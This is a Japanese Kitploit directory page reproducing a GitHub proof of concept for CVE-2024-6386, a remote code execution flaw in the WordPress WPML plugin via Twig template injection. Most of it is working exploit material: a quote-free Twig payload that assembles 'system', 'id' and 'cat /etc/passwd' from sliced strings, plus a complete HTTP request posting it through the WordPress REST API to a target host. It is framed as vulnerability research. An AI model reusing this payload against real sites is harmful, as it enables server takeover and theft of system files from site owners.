Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2024-6386 — CVE-2024-6386 の研究と PoC | Kitploit
ツール/GitHubGitHub/argendo/cve-2024-6386
脆弱性分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティペネトレーションテストペイロード開発
GitHubargendo/cve-2024-6386

CVE-2024-6386

CVE-2024-6386 の研究と PoC

リポジトリを見る
5102年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2024-6386 - WPMLにおけるTwig SSTIを介したRCE

PoC

Python+SeleniumによるPoC

ロシア語による詳細な調査: CVE-2024-6386

PoC例

CVSS

基本スコア: 9.9

ベクター: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

概要

WPMLでは、特定のWordPressショートコードを使用してマクロを作成し、Twigテンプレートもレンダリングできます。そのため、これから簡単にSSTIを取得できます。

チェーン

SSTI

例として、SSTIを悪用するためのショートコードを作成しましょう:

root@kitploit:~
[wpml_language_switcher]
{{ 2*2 }}
[/wpml_language_switcher]
ツールをダウンロード

この場合、ショートコードのレンダリング結果として 4 が得られます。

RCE

WordPressによってすべての種類の引用符がHTMLにエンコードされるため、次のような典型的なペイロードは使用できません:

root@kitploit:~
{{['id']|filter('system')}}

それでも、変数の文字(例:(s = 's'))からOSコマンドを呼び出すようにこのペイロードを変更できます。

これを行うには、以下のようなローカル変数を呼び出す必要があります:

  • css_classes
  • languages

1つ目は文字列 wpml-ls-statics-shortcode_actions wpml-ls を返します。 2つ目は言語のArrayオブジェクトを返します。

これを使用して、必要なシンボルをスライスし、独自のアルファベットを作成できます。

したがって、ここでは次のアルファベットを作成します: [<space> ,a, c, i, d, s, y, t, e, m, p, w ]

そして、languages を空の値と連結して、値が "Array" の文字列を作成する必要があります。

root@kitploit:~
{% set sp = css_classes|slice(33,1) %}
{% set a = css_classes|slice(10,1) %}
{% set c = css_classes|slice(13,1) %}
{% set i = css_classes|slice(12,1) %}
{% set d = css_classes|slice(23,1) %}
{% set s = css_classes|slice(6,1) %}
{% set y = languages|join|slice(4,1) %}
{% set t = css_classes|slice(9,1) %}
{% set e = css_classes|slice(24,1) %}
{% set m = css_classes|slice(2,1) %}
{% set p = css_classes|slice(1,1) %}
{% set w = css_classes|slice(0,1) %}

その後、アルファベットをペイロードに連結できます:

root@kitploit:~
{% set system = s~y~s~t~e~m %}
{% set pwd = p~w~d %}
{% set id = i~d %}
{% set cat = c~a~t %}
{% set sl = [pwd]|map(system)|join|slice(0,1) %}
{% set passwd = c~a~t~sp~sl~e~t~c~sl~p~a~s~s~w~d %}
{{[id]|map(system)|join}}
{{[pwd]|map(system)|join}}
{{[passwd]|map(system)|join}}

Burp Suiteによる悪用

コマンド

root@kitploit:~
POST /wp-json/wp/v2/posts/30?_locale=user HTTP/1.1
Host: vulned.com

{
    "id":30,
    "content":"<!-- wp:shortcode -->\n[wpml_language_switcher]\n{% set sp = css_classes|slice(33,1) %}{% set a = css_classes|slice(10,1) %}{% set c = css_classes|slice(13,1) %}{% set i = css_classes|slice(12,1) %}{% set d = css_classes|slice(23,1) %}{% set s = css_classes|slice(6,1) %}{% set y = languages|join|slice(4,1) %}{% set t = css_classes|slice(9,1) %}{% set e = css_classes|slice(24,1) %}{% set m = css_classes|slice(2,1) %}{% set p = css_classes|slice(1,1) %}{% set w = css_classes|slice(0,1) %}{% set system = s~y~s~t~e~m %}{% set pwd = p~w~d %}{% set cat = c~a~t %}{% set sl = [pwd]|map(system)|join|slice(0,1) %}{% set id = i~d %}{% set passwd = c~a~t~sp~sl~e~t~c~sl~p~a~s~s~w~d %}{{[id]|map(system)|join}}\n[/wpml_language_switcher]<!-- /wp:shortcode -->"
}

結果の一覧表示

root@kitploit:~
GET /?p=30 HTTP/1.1
Host: vulned.com